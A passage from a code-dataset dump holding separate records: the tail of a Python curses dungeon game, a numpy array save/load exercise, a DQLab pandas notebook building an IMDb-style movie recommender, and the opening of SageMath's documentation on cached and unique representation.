self.keys[key] = False\n\n    def movement(self):\n        #We stop accepting move inputs (but turning is ok) in the middle of a\n        #jump -- the effect is momentum-like movement while in the air.\n        keys = self.jumping_keys if self.player.is_jumping else self.keys\n        if self.player_has_jumped:\n            self.jumping_keys = self.keys.copy()\n            self.player_has_jumped = False\n\n        #Constants that make the following conditionals much more readable\n        left = self.keys[Key.left] or self.keys[KeyCode(char='a')]\n        right = self.keys[Key.right] or self.keys[KeyCode(char='d')]\n        up = keys[Key.up] or keys[KeyCode(char='w')]\n        down = keys[Key.down] or keys[KeyCode(char='s')]\n        strafe_l = keys[KeyCode(char='q')]\n        strafe_r = keys[KeyCode(char='e')]\n\n        if left ^ right:\n            self.player.turn(left)\n        if up ^ down:\n            self.player.move((up - down) * self.player.speed)\n        if strafe_l ^ strafe_r:\n            self.player.move((strafe_l - strafe_r) * self.player.speed, True)\n        if self.keys[Key.space]:\n            self.player_has_jumped = True\n            self.player.is_jumping = True\n            self.keys[Key.space] = False\n\n    def update(self):\n        self.renderer.update()\n        self.user_input()\n        self.player.update()\n\n\ndef main(screen):\n    init_curses(screen)\n    game_map = Map(\"map1\")\n    player = Player(game_map)\n    #We may mass load textures in the future and pass the list to renderer.\n    renderer = Renderer(screen, player, game_map,\n                        \"texture1\", \"texture2\", \"texture3\")\n    controller = Controller(player, renderer)\n    while controller.running:\n        controller.update()\n    curses.flushinp()\n    curses.endwin()\n\ndef init_curses(screen):\n    curses.noecho()\n    curses.curs_set(0)\n    curses.init_pair(1, curses.COLOR_GREEN, curses.COLOR_BLACK)\n    screen.attron(curses.color_pair(1))\n    screen.clear()\n\nif __name__ == \"__main__\":\n    curses.wrapper(main)\n", "meta": {"hexsha": "2cd6d0de9b4f1c5a8e74e12624e7e8314dc1334f", "size": 16617, "ext": "py", "lang": "Python", "max_stars_repo_path": "terminal_dungeon.py", "max_stars_repo_name": "mbdaso/terminal_dungeon", "max_stars_repo_head_hexsha": "99d4ee7e8f0eb86d75a9c79ee6bef9a4f23435d6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-10T22:43:24.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-10T22:43:24.000Z", "max_issues_repo_path": "terminal_dungeon.py", "max_issues_repo_name": "mbdaso/terminal_dungeon", "max_issues_repo_head_hexsha": "99d4ee7e8f0eb86d75a9c79ee6bef9a4f23435d6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "terminal_dungeon.py", "max_forks_repo_name": "mbdaso/terminal_dungeon", "max_forks_repo_head_hexsha": "99d4ee7e8f0eb86d75a9c79ee6bef9a4f23435d6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.9156908665, "max_line_length": 83, "alphanum_fraction": 0.5812120118, "include": true, "reason": "import numpy", "num_tokens": 3830, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5506073655352404, "lm_q2_score": 0.15817435671676672, "lm_q1q2_score": 0.08709196584705027}}
{"text": "import numpy as np\narr=np.arange(10)\nprint arr\n\n#saving single array\nnp.save('saved_array',arr)\n#now_file_is_created = saved_array.npy\n\nnew_array=np.load('saved_array.npy')\nprint new_array\n\n\n#save multiple array\n\narray_1=np.arange(25)\narray_2=np.arange(30)\n\nnp.savez('saved_archieve.npz',x=array_1,y=array_2)\n\nload_archieve=np.load('saved_archieve.npz')\n\nprint 'load_archieve[x] is'\nprint load_archieve['x']\n\nprint 'load_archieve[y] is'\nprint load_archieve['y']\n", "meta": {"hexsha": "17b938689a82516fa4709273bce9a066131b1199", "size": 462, "ext": "py", "lang": "Python", "max_stars_repo_path": "Section3/L6 Saving loading of file/saving_loading_arrays.py", "max_stars_repo_name": "Mohit-Sharma1/Takenmind_Internship_assignments", "max_stars_repo_head_hexsha": "7099ae3a70fca009f6298482e90e988124868148", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Section3/L6 Saving loading of file/saving_loading_arrays.py", "max_issues_repo_name": "Mohit-Sharma1/Takenmind_Internship_assignments", "max_issues_repo_head_hexsha": "7099ae3a70fca009f6298482e90e988124868148", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Section3/L6 Saving loading of file/saving_loading_arrays.py", "max_forks_repo_name": "Mohit-Sharma1/Takenmind_Internship_assignments", "max_forks_repo_head_hexsha": "7099ae3a70fca009f6298482e90e988124868148", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.1111111111, "max_line_length": 50, "alphanum_fraction": 0.7705627706, "include": true, "reason": "import numpy", "num_tokens": 134, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.17553808224967946, "lm_q1q2_score": 0.08708335944122472}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # [Import Library dan File Unloading](https://academy.dqlab.id/main/projectcode/212/378/1876)\n\n# In[1]:\n\n\n#import library yang dibutuhkan\nimport pandas as pd\nimport numpy as np\n\n#lakukan pembacaan dataset\nmovie_df = pd.read_csv('https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/title.basics.tsv', sep='\\t') #untuk menyimpan title_basics.tsv\nrating_df = pd.read_csv('https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/title.ratings.tsv', sep='\\t') #untuk menyimpan title.ratings.tsv\n\n\n# # [5 Data teratas dari table movie](https://academy.dqlab.id/main/projectcode/212/379/1877)\n\n# In[2]:\n\n\nprint(movie_df.head())\n\n\n# # [Tipe Data dari Setiap Kolom](https://academy.dqlab.id/main/projectcode/212/379/1922)\n\n# In[3]:\n\n\nprint(movie_df.info())\n\n\n# # [Pengecekan Data dengan Nilai NULL](https://academy.dqlab.id/main/projectcode/212/379/1923)\n\n# In[4]:\n\n\nprint(movie_df.isnull().sum())\n\n\n# # [Analisis Kolom dengan data bernilai NULL - part 1](https://academy.dqlab.id/main/projectcode/212/379/1931)\n\n# In[5]:\n\n\nprint(movie_df.loc[(movie_df['primaryTitle'].isnull()) | (movie_df['originalTitle'].isnull())])\n\n\n# # [Membuang Data dengan Nilai NULL - part 1](https://academy.dqlab.id/main/projectcode/212/379/1932)\n\n# In[6]:\n\n\n#mengupdate movie_df dengan membuang data-data bernilai NULL\nmovie_df = movie_df.loc[(movie_df['primaryTitle'].notnull()) & (movie_df['originalTitle'].notnull())]\n\n#menampilkan jumlah data setelah data dengan nilai NULL dibuang\nprint(len(movie_df))\n\n\n# # [Analisis Kolom dengan data bernilai NULL - part 2](https://academy.dqlab.id/main/projectcode/212/379/1933)\n\n# In[7]:\n\n\nprint(movie_df.loc[movie_df['genres'].isnull()])\n\n\n# # [Membuang Data dengan Nilai NULL - part 2](https://academy.dqlab.id/main/projectcode/212/379/1934)\n\n# In[8]:\n\n\n#mengupdate movie_df dengan membuang data-data bernilai NULL\nmovie_df = movie_df.loc[movie_df['genres'].notnull()]\n\n#menampilkan jumlah data setelah data dengan nilai NULL dibuang\nprint(len(movie_df))\n\n\n# # [Mengubah Nilai '\\\\N'](https://academy.dqlab.id/main/projectcode/212/379/1935)\n\n# In[9]:\n\n\n#mengubah nilai '\\\\N' pada startYear menjadi np.nan dan cast kolomnya menjadi float64\nmovie_df['startYear'] = movie_df['startYear'].replace('\\\\N', np.nan)\nmovie_df['startYear'] = movie_df['startYear'].astype('float64')\n\nprint(movie_df['startYear'].unique()[:5])\n#mengubah nilai '\\\\N' pada endYear menjadi np.nan dan cast kolomnya menjadi float64\nmovie_df['endYear'] = movie_df['endYear'].replace('\\\\N', np.nan)\nmovie_df['endYear'] = movie_df['endYear'].astype('float64')\nprint(movie_df['endYear'].unique()[:5])\n\n#mengubah nilai '\\\\N' pada runtimeMinutes menjadi np.nan dan cast kolomnya menjadi float64\nmovie_df['runtimeMinutes'] = movie_df['runtimeMinutes'].replace('\\\\N', np.nan)\nmovie_df['runtimeMinutes'] = movie_df['runtimeMinutes'].astype('float64')\nprint(movie_df['runtimeMinutes'].unique()[:5])\n\n\n# # [Mengubah nilai genres menjadi list](https://academy.dqlab.id/main/projectcode/212/379/1936)\n\n# In[11]:\n\n\ndef transform_to_list(x):\n    if ',' in x: \n    #ubah menjadi list apabila ada data pada kolom genre\n        return x.split(',')\n    else: \n    #jika tidak ada data, ubah menjadi list kosong\n        return []\n\nmovie_df['genres'] = movie_df['genres'].apply(lambda x: transform_to_list(x))\n\n\n# In[12]:\n\n\nmovie_df\n\n\n# # [Menampilkan 5 data teratas](https://academy.dqlab.id/main/projectcode/212/380/1937)\n\n# In[13]:\n\n\nprint(rating_df.head())\n\n\n# # [Menampilkan tipe data](https://academy.dqlab.id/main/projectcode/212/380/1938)\n\n# In[14]:\n\n\nprint(rating_df.info())\n\n\n# # [Inner Join table movie dan table rating](https://academy.dqlab.id/main/projectcode/212/381/1939)\n\n# In[15]:\n\n\n#Lakukan join pada kedua table\nmovie_rating_df = pd.merge(movie_df, rating_df, on='tconst', how='inner')\n\n#Tampilkan 5 data teratas\nprint(movie_rating_df.head())\n\n#Tampilkan tipe data dari tiap kolom\nprint(movie_rating_df.info())\n\n\n# # [Memperkecil ukuran Table](https://academy.dqlab.id/main/projectcode/212/381/1940)\n\n# In[16]:\n\n\nmovie_rating_df = movie_rating_df.dropna(subset=['startYear','runtimeMinutes'])\n\n#Untuk memastikan bahwa sudah tidak ada lagi nilai NULL\nprint(movie_rating_df.info())\n\n\n# # [Pertanyaan 1: Berapa nilai C?](https://academy.dqlab.id/main/projectcode/212/382/1941)\n\n# In[17]:\n\n\nC = movie_rating_df['averageRating'].mean()\nprint(C)\n\n\n# # [Pertanyaan 2: Berapa nilai m?](https://academy.dqlab.id/main/projectcode/212/382/1942)\n\n# In[19]:\n\n\nm = movie_rating_df['numVotes'].quantile(0.8)\nprint(m)\n\n\n# # [Pertanyaan 3: Bagaimana cara membuat fungsi weighted formula?](https://academy.dqlab.id/main/projectcode/212/382/1943)\n\n# In[20]:\n\n\ndef imdb_weighted_rating(df, var=0.8):\n    v = df['numVotes']\n    R = df['averageRating']\n    C = df['averageRating'].mean()\n    m = df['numVotes'].quantile(var)\n    df['score'] = (v/(m+v))*R + (m/(m+v))*C #Rumus IMDb \n    return df['score']\n    \nimdb_weighted_rating(movie_rating_df)\n\n#melakukan pengecekan dataframe\nprint(movie_rating_df.head())\n\n\n# # [Pertanyaan 4: Bagaimana cara membuat simple recommender system?](https://academy.dqlab.id/main/projectcode/212/382/1944)\n\n# In[21]:\n\n\ndef simple_recommender(df, top=100):\n    df = df.loc[df['numVotes'] >= m]\n    df = df.sort_values(by='score', ascending=False) \n    \n    #Ambil data 100 teratas\n    df = df[:top]\n    return df\n    \n#Ambil data 25 teratas     \nprint(simple_recommender(movie_rating_df, top=25))\n\n\n# # [Pertanyaan 5: Bagaimana cara membuat simple recommender system dengan user preferences?](https://academy.dqlab.id/main/projectcode/212/382/1945)\n\n# In[22]:\n\n\ndf = movie_rating_df.copy()\n\ndef user_prefer_recommender(df, ask_adult, ask_start_year, ask_genre, top=100):\n    #ask_adult = yes/no\n    if ask_adult.lower() == 'yes':\n        df = df.loc[df['isAdult'] == 1]\n    elif ask_adult.lower() == 'no':\n        df = df.loc[df['isAdult'] == 0]\n\n    #ask_start_year = numeric\n    df = df.loc[df['startYear'] >= int(ask_start_year)]\n\n    #ask_genre = 'all' atau yang lain\n    if ask_genre.lower() == 'all':\n        df = df\n    else:\n        def filter_genre(x):\n            if ask_genre.lower() in str(x).lower():\n                return True\n            else:\n                return False\n        df = df.loc[df['genres'].apply(lambda x: filter_genre(x))]\n\n    df = df.loc[df['numVotes'] >= m] #Mengambil film dengan m yang lebih besar dibanding numVotes\n    df = df.sort_values(by='score', ascending=False)\n    \n    #jika kamu hanya ingin mengambil 100 teratas\n    df = df[:top]\n    return df\n\nprint(user_prefer_recommender(df,\n                       ask_adult = 'no',\n                        ask_start_year = 2000,\n                       ask_genre = 'drama'\n                       ))\n\n", "meta": {"hexsha": "fa6478dc7e260d5fcda07d758237f26213c6877a", "size": 6718, "ext": "py", "lang": "Python", "max_stars_repo_path": "Project/Python/Project Machine Learning with Python Building Recommender System/Project Machine Learning with Python Building Recommender System.py", "max_stars_repo_name": "vincentchance/DQLab", "max_stars_repo_head_hexsha": "0637ae8ec358d311229821853ebb70d3b915d0da", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 22, "max_stars_repo_stars_event_min_datetime": "2021-04-06T02:20:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T11:47:26.000Z", "max_issues_repo_path": "Project/Python/Project Machine Learning with Python Building Recommender System/Project Machine Learning with Python Building Recommender System.py", "max_issues_repo_name": "vincentchance/DQLab", "max_issues_repo_head_hexsha": "0637ae8ec358d311229821853ebb70d3b915d0da", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-02-08T04:58:25.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-08T04:58:25.000Z", "max_forks_repo_path": "Project/Python/Project Machine Learning with Python Building Recommender System/Project Machine Learning with Python Building Recommender System.py", "max_forks_repo_name": "vincentchance/DQLab", "max_forks_repo_head_hexsha": "0637ae8ec358d311229821853ebb70d3b915d0da", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 50, "max_forks_repo_forks_event_min_datetime": "2021-03-31T10:32:55.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-15T11:04:35.000Z", "avg_line_length": 25.641221374, "max_line_length": 149, "alphanum_fraction": 0.685174159, "include": true, "reason": "import numpy", "num_tokens": 1964, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.175538067153742, "lm_q1q2_score": 0.0870833519522233}}
{"text": "r\"\"\"\nUnique Representation\n\nAbstract classes for cached and unique representation behavior.\n\n.. SEEALSO::\n\n   :class:`sage.structure.factory.UniqueFactory`\n\nAUTHORS:\n\n- Nicolas M. Thiery (2008): Original version.\n- Simon A. King (2013-02): Separate cached and unique representation.\n- Simon A. King (2013-08): Extended documentation.\n\n\nWhat is a cached representation?\n================================\n\nInstances of a class have a *cached representation behavior* when several\ninstances constructed with the same arguments share the same memory\nrepresentation. For example, calling twice::\n\n    sage: G = SymmetricGroup(6)\n    sage: H = SymmetricGroup(6)\n\nto create the symmetric group on six elements gives back the same\nobject::\n\n    sage: G is H\n    True\n\nThis is a standard design pattern. Besides saving memory, it allows for\nsharing cached data (say representation theoretical information about a\ngroup). And of course a look-up in the cache is faster than the creation of a\nnew object.\n\nImplementing a cached representation\n------------------------------------\n\nSage provides two standard ways to create a cached representation:\n:class:`CachedRepresentation` and\n:class:`~sage.structure.factory.UniqueFactory`. Note that, in spite of its\nname, :class:`~sage.structure.factory.UniqueFactory` does not ensure *unique*\nrepresentation behaviour, which will be explained below.\n\nUsing :class:`CachedRepresentation`\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIt is often very easy to use :class:`CachedRepresentation`: One simply writes\na Python class and adds :class:`CachedRepresentation` to the list of base\nclasses. If one does so, then the arguments used to create an instance of this\nclass will by default also be used as keys for the cache::\n\n    sage: from sage.structure.unique_representation import CachedRepresentation\n    sage: class C(CachedRepresentation):\n    ....:     def __init__(self, a, b=0):\n    ....:         self.a = a\n    ....:         self.b = b\n    ....:     def __repr__(self):\n    ....:         return \"C(%s, %s)\"%(self.a, self.b)\n    sage: a = C(1)\n    sage: a is C(1)\n    True\n\nIn addition, pickling just works, provided that Python is able to look up the\nclass. Hence, in the following two lines, we explicitly put the class into the\n``__main__`` module. This is needed in doctests, but not in an interactive\nsession::\n\n    sage: import __main__\n    sage: __main__.C = C\n    sage: loads(dumps(a)) is a\n    True\n\nOften, this very easy approach is sufficient for applications. However, there\nare some pitfalls. Since the arguments are used for caching, all arguments\nmust be hashable, i.e., must be valid as dictionary keys::\n\n    sage: C((1,2))\n    C((1, 2), 0)\n    sage: C([1,2])\n    Traceback (most recent call last):\n    ...\n    TypeError: unhashable type: 'list'\n\nIn addition, equivalent ways of providing the arguments are *not*\nautomatically normalised when forming the cache key, and hence different but\nequivalent arguments may yield distinct instances::\n\n    sage: C(1) is C(1,0)\n    False\n    sage: C(1) is C(a=1)\n    False\n    sage: repr(C(1)) == repr(C(a=1))\n    True\n\nIt should also be noted that the arguments are compared by equality, not by\nidentity. This is often desired, but can imply subtle problems. For example,\nsince ``C(1)`` already is in the cache, and since the unit elements in\ndifferent finite fields are all equal to the integer one, we find::\n\n    sage: GF(5)(1) == 1 == GF(3)(1)\n    True\n    sage: C(1) is C(GF(3)(1)) is C(GF(5)(1))\n    True\n\nBut ``C(2)`` is not in the cache, and the number two is not equal in different\nfinite fields (i. e., ``GF(5)(2) == GF(3)(2)`` returns as ``False``), even\nthough it is equal to the number two in the ring of integers (\n``GF(5)(2) == 2 == GF(3)(2)`` returns as ``True``; equality is not transitive\nwhen comparing elements of *distinct* algebraic structures!!). Hence, we\nhave::\n\n    sage: GF(5)(2) == GF(3)(2)\n    False\n    sage: C(GF(3)(2)) is C(GF(5)(2))\n    False\n\nNormalising the arguments\n.........................\n\n:class:`CachedRepresentation` uses the metaclass\n:class:`~sage.misc.classcall_metaclass.ClasscallMetaclass`. Its\n``__classcall__`` method is a\n:class:`~sage.misc.cachefunc.WeakCachedFunction`.  This function creates an\ninstance of the given class using the given arguments, unless it finds the\nresult in the cache. This has the following implications:\n\n- The arguments must be valid dictionary keys (i.e., they must be hashable;\n  see above).\n- It is a weak cache, hence, if the user does not keep a reference to the\n  resulting instance, then it may be removed from the cache during garbage\n  collection.\n- It is possible to preprocess the input arguments by implementing a\n  ``__classcall__`` or a ``__classcall_private__`` method, but in order to\n  benefit from caching, :meth:`CachedRepresentation.__classcall__` should at\n  some point be called.\n\n.. NOTE::\n\n    For technical reasons, it is needed that ``__classcall__`` respectively\n    ``__classcall_private__`` are \"static methods\", i.e., they are callable\n    objects that do not bind to an instance or class. For example, a\n    :class:`~sage.misc.cachefunc.cached_function` can be used here, because it\n    is callable, but does not bind to an instance or class, because it has no\n    ``__get__()`` method. A usual Python function, however, has a\n    ``__get__()`` method and would thus under normal circumstances bind to an\n    instance or class, and thus the instance or class would be passed to the\n    function as the first argument. To prevent a callable object from being\n    bound to the instance or class, one can prepend the ``@staticmethod``\n    decorator to the definition; see :class:`staticmethod`.\n\n    For more on Python's ``__get__()`` method, see:\n    https://docs.python.org/2/howto/descriptor.html\n\n.. WARNING::\n\n    If there is preprocessing, then the preprocessed arguments\n    passed to :meth:`CachedRepresentation.__classcall__` must be invariant\n    under the preprocessing. That is to say, preprocessing the input\n    arguments twice must have the same effect as preprocessing the input\n    arguments only once. That is to say, the preprocessing must be idempotent.\n\nThe reason for this warning lies in the way pickling is implemented. If the\npreprocessed arguments are passed to\n:meth:`CachedRepresentation.__classcall__`, then the resulting instance will\nstore the *preprocessed* arguments in some attribute, and will use them for\npickling. If the pickle is unpickled, then preprocessing is applied to the\npreprocessed arguments---and this second round of preprocessing must not\nchange the arguments further, since otherwise a different instance would be\ncreated.\n\nWe illustrate the warning by an example. Imagine that one has instances that\nare created with an integer-valued argument, but only depend on the *square*\nof the argument. It would be a mistake to square the given argument during\npreprocessing::\n\n    sage: class WrongUsage(CachedRepresentation):\n    ....:     @staticmethod\n    ....:     def __classcall__(cls, n):\n    ....:         return super(WrongUsage,cls).__classcall__(cls, n^2)\n    ....:     def __init__(self, n):\n    ....:         self.n = n\n    ....:     def __repr__(self):\n    ....:         return \"Something(%d)\"%self.n\n    sage: import __main__\n    sage: __main__.WrongUsage = WrongUsage # This is only needed in doctests\n    sage: w = WrongUsage(3); w\n    Something(9)\n    sage: w._reduction\n    (<class '__main__.WrongUsage'>, (9,), {})\n\nIndeed, the reduction data are obtained from the preprocessed argument. By\nconsequence, if the resulting instance is pickled and unpickled, the argument\ngets squared *again*::\n\n    sage: loads(dumps(w))\n    Something(81)\n\nInstead, the preprocessing should only take the absolute value of the given\nargument, while the squaring should happen inside of the ``__init__`` method,\nwhere it won't mess with the cache::\n\n    sage: class BetterUsage(CachedRepresentation):\n    ....:     @staticmethod\n    ....:     def __classcall__(cls, n):\n    ....:         return super(BetterUsage, cls).__classcall__(cls, abs(n))\n    ....:     def __init__(self, n):\n    ....:         self.n = n^2\n    ....:     def __repr__(self):\n    ....:         return \"SomethingElse(%d)\"%self.n\n    sage: __main__.BetterUsage = BetterUsage # This is only needed in doctests\n    sage: b = BetterUsage(3); b\n    SomethingElse(9)\n    sage: loads(dumps(b)) is b\n    True\n    sage: b is BetterUsage(-3)\n    True\n\nIn our next example, we create a cached representation class ``C`` that\nreturns an instance of a sub-class ``C1`` or ``C2`` depending on the given\narguments. This is implemented in a static ``__classcall_private__`` method of\n``C``, letting it choose the sub-class according to the given arguments. Since\na ``__classcall_private__`` method will be ignored on sub-classes, the caching\nof :class:`CachedRepresentation` is available to both ``C1`` and ``C2``. But\nfor illustration, we overload the static ``__classcall__`` method on ``C2``,\ndoing some argument preprocessing. We also create a sub-class ``C2b`` of\n``C2``, demonstrating that the ``__classcall__`` method is used on the\nsub-class (in contrast to a ``__classcall_private__`` method!).  ::\n\n    sage: class C(CachedRepresentation):\n    ....:     @staticmethod\n    ....:     def __classcall_private__(cls, n, implementation=0):\n    ....:         if not implementation:\n    ....:             return C.__classcall__(cls, n)\n    ....:         if implementation==1:\n    ....:             return C1(n)\n    ....:         if implementation>1:\n    ....:             return C2(n,implementation)\n    ....:     def __init__(self, n):\n    ....:         self.n = n\n    ....:     def __repr__(self):\n    ....:         return \"C(%d, 0)\"%self.n\n    sage: class C1(C):\n    ....:     def __repr__(self):\n    ....:         return \"C1(%d)\"%self.n\n    sage: class C2(C):\n    ....:     @staticmethod\n    ....:     def __classcall__(cls, n, implementation=0):\n    ....:         if implementation:\n    ....:             return super(C2, cls).__classcall__(cls, (n,)*implementation)\n    ....:         return super(C2, cls).__classcall__(cls, n)\n    ....:     def __init__(self, t):\n    ....:         self.t = t\n    ....:     def __repr__(self):\n    ....:         return \"C2(%s)\"%repr(self.t)\n    sage: class C2b(C2):\n    ....:     def __repr__(self):\n    ....:         return \"C2b(%s)\"%repr(self.t)\n    sage: __main__.C2 = C2      # not needed in an interactive session\n    sage: __main__.C2b = C2b\n\nIn the above example, ``C`` drops the argument ``implementation`` if it\nevaluates to ``False``, and since the cached ``__classcall__`` is called in\nthis case, we have::\n\n    sage: C(1)\n    C(1, 0)\n    sage: C(1) is C(1,0)\n    True\n    sage: C(1) is C(1,0) is C(1,None) is C(1,[])\n    True\n\n(Note that we were able to bypass the issue of arguments having to be\nhashable by catching the empty list ``[]`` during preprocessing in the\n``__classcall_private__`` method. Similarly, unhashable arguments can\nbe made hashable -- e. g., lists normalized to tuples -- in the\n``__classcall_private__`` method before they are further delegated to\n``__classcall__``. See\n:class:`~sage.combinat.crystals.elementary_crystals.TCrystal` for an\nexample.)\n\nIf we call ``C1`` directly or if we provide ``implementation=1`` to ``C``, we\nobtain an instance of ``C1``. Since it uses the ``__classcall__`` method\ninherited from :class:`CachedRepresentation`, the resulting instances are\ncached::\n\n    sage: C1(2)\n    C1(2)\n    sage: C(2, implementation=1)\n    C1(2)\n    sage: C(2, implementation=1) is C1(2)\n    True\n\nThe class ``C2`` preprocesses the input arguments. Instances can, again, be\nobtained directly or by calling ``C``::\n\n    sage: C(1, implementation=3)\n    C2((1, 1, 1))\n    sage: C(1, implementation=3) is C2(1,3)\n    True\n\nThe argument preprocessing of ``C2`` is inherited by ``C2b``, since\n``__classcall__`` and not ``__classcall_private__`` is used. Pickling works,\nsince the preprocessing of arguments is idempotent::\n\n    sage: c2b = C2b(2,3); c2b\n    C2b((2, 2, 2))\n    sage: loads(dumps(c2b)) is c2b\n    True\n\nUsing :class:`~sage.structure.factory.UniqueFactory`\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nFor creating a cached representation using a factory, one has to\n\n- create a class *separately* from the factory. This class **must** inherit\n  from :class:`object`. Its instances **must** allow attribute assignment.\n- write a method ``create_key`` (or ``create_key_and_extra_args``) that\n  creates the cache key from the given arguments.\n- write a method ``create_object`` that creates an instance of the class\n  from a given cache key.\n- create an instance of the factory with a name that allows to conclude where\n  it is defined.\n\nAn example::\n\n    sage: class C(object):\n    ....:     def __init__(self, t):\n    ....:         self.t = t\n    ....:     def __repr__(self):\n    ....:         return \"C%s\"%repr(self.t)\n    sage: from sage.structure.factory import UniqueFactory\n    sage: class MyFactory(UniqueFactory):\n    ....:     def create_key(self, n, m=None):\n    ....:         if isinstance(n, (tuple,list)) and m is None:\n    ....:             return tuple(n)\n    ....:         return (n,)*m\n    ....:     def create_object(self, version, key, **extra_args):\n    ....:         # We ignore version and extra_args\n    ....:         return C(key)\n\nNow, we define an instance of the factory, stating that it can be found under\nthe name ``\"F\"`` in the ``__main__`` module. By consequence, pickling works::\n\n    sage: F = MyFactory(\"__main__.F\")\n    sage: __main__.F = F                # not needed in an interactive session\n    sage: loads(dumps(F)) is F\n    True\n\nWe can now create *cached* instances of ``C`` by calling the factory. The\ncache only takes into account the key computed with the method ``create_key``\nthat we provided. Hence, different given arguments may result in the same\ninstance. Note that, again, the cache is weak, hence, the instance might be\nremoved from the cache during garbage collection, unless an external reference\nis preserved.\n::\n\n    sage: a = F(1, 2); a\n    C(1, 1)\n    sage: a is F((1,1))\n    True\n\n**If** the class of the returned instances is a sub-class of :class:`object`,\nand **if** the resulting instance allows attribute assignment, then pickling\nof the resulting instances is automatically provided for, and respects the\ncache.  ::\n\n    sage: loads(dumps(a)) is a\n    True\n\nThis is because an attribute is stored that explains how the instance was\ncreated::\n\n    sage: a._factory_data\n    (<__main__.MyFactory object at ...>, (...), (1, 1), {})\n\n.. NOTE::\n\n    If a class is used that does not inherit from :class:`object` then unique\n    pickling is *not* provided.\n\nCaching is only available if the factory is called. If an instance of the\nclass is directly created, then the cache is not used::\n\n    sage: C((1,1))\n    C(1, 1)\n    sage: C((1,1)) is a\n    False\n\nComparing the two ways of implementing a cached representation\n--------------------------------------------------------------\n\nIn this sub-section, we discuss advantages and disadvantages of the two ways\nof implementing a cached representation, depending on the type of application.\n\nSimplicity and transparency\n^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIn many cases, turning a class into a cached representation requires nothing\nmore than adding :class:`CachedRepresentation` to the list of base classes of\nthis class. This is, of course, a very easy and convenient way. Writing a\nfactory would involve a lot more work.\n\nIf preprocessing of the arguments is needed, then we have seen how to do this\nby a ``__classcall_private__`` or ``__classcall__`` method. But these are\ndouble underscore methods and hence, for example, invisible in the\nautomatically created reference manual. Moreover, preprocessing *and* caching\nare implemented in the same method, which might be confusing. In a unique\nfactory, these two tasks are cleanly implemented in two separate methods.\nWith a factory, it is possible to create the resulting instance by arguments\nthat are different from the key used for caching. This is significantly\nrestricted with CachedRepresentation due to the requirement that argument\npreprocessing be idempotent.\n\nHence, if advanced preprocessing is needed, then\n:class:`~sage.structure.factory.UniqueFactory` might be easier and more\ntransparent to use than :class:`CachedRepresentation`.\n\nClass inheritance\n^^^^^^^^^^^^^^^^^\n\nUsing :class:`CachedRepresentation` has the advantage that one has a class and\ncreates cached instances of this class by the usual Python syntax::\n\n    sage: G = SymmetricGroup(6)\n    sage: issubclass(SymmetricGroup, sage.structure.unique_representation.CachedRepresentation)\n    True\n    sage: isinstance(G, SymmetricGroup)\n    True\n\nIn contrast, a factory is just a callable object that returns something that\nhas absolutely nothing to do with the factory, and may in fact return\ninstances of quite different classes::\n\n    sage: isinstance(GF, sage.structure.factory.UniqueFactory)\n    True\n    sage: K5 = GF(5)\n    sage: type(K5)\n    <class 'sage.rings.finite_rings.finite_field_prime_modn.FiniteField_prime_modn_with_category'>\n    sage: K25 = GF(25, 'x')\n    sage: type(K25)\n    <class 'sage.rings.finite_rings.finite_field_givaro.FiniteField_givaro_with_category'>\n    sage: Kp = GF(next_prime_power(1000000)^2, 'x')\n    sage: type(Kp)\n    <class 'sage.rings.finite_rings.finite_field_pari_ffelt.FiniteField_pari_ffelt_with_category'>\n\nThis can be confusing to the user. Namely, the user might determine the class\nof an instance and try to create further instances by calling the class rather\nthan the factory---which is a mistake since it works around the cache (and\nalso since the class might be more restrictive than the factory -- i. e., the\ntype of ``K5`` in the above doctest cannot be called on a prime power which\nis not a prime). This mistake can more easily be avoided by using\n:class:`CachedRepresentation`.\n\nWe have seen above that one can easily create new cached-representation\nclasses by subclassing an existing cached-representation class, even making\nuse of an existing argument preprocess. This would be much more complicated\nwith a factory. Namely, one would need to rewrite old factories making them\naware of the new classes, and/or write new factories for the new classes.\n\nPython versus extension classes\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n:class:`CachedRepresentation` uses a metaclass, namely\n:class:`~sage.misc.classcall_metaclass.ClasscallMetaclass`. Hence, it can\ncurrently not be a Cython extension class. Moreover, it is supposed to be used\nby providing it as a base class. But in typical applications, one also has\nanother base class, say, :class:`~sage.structure.parent.Parent`. Hence, one\nwould like to create a class with at least two base classes, which is\ncurrently impossible in Cython extension classes.\n\nIn other words, when using :class:`CachedRepresentation`, one must work 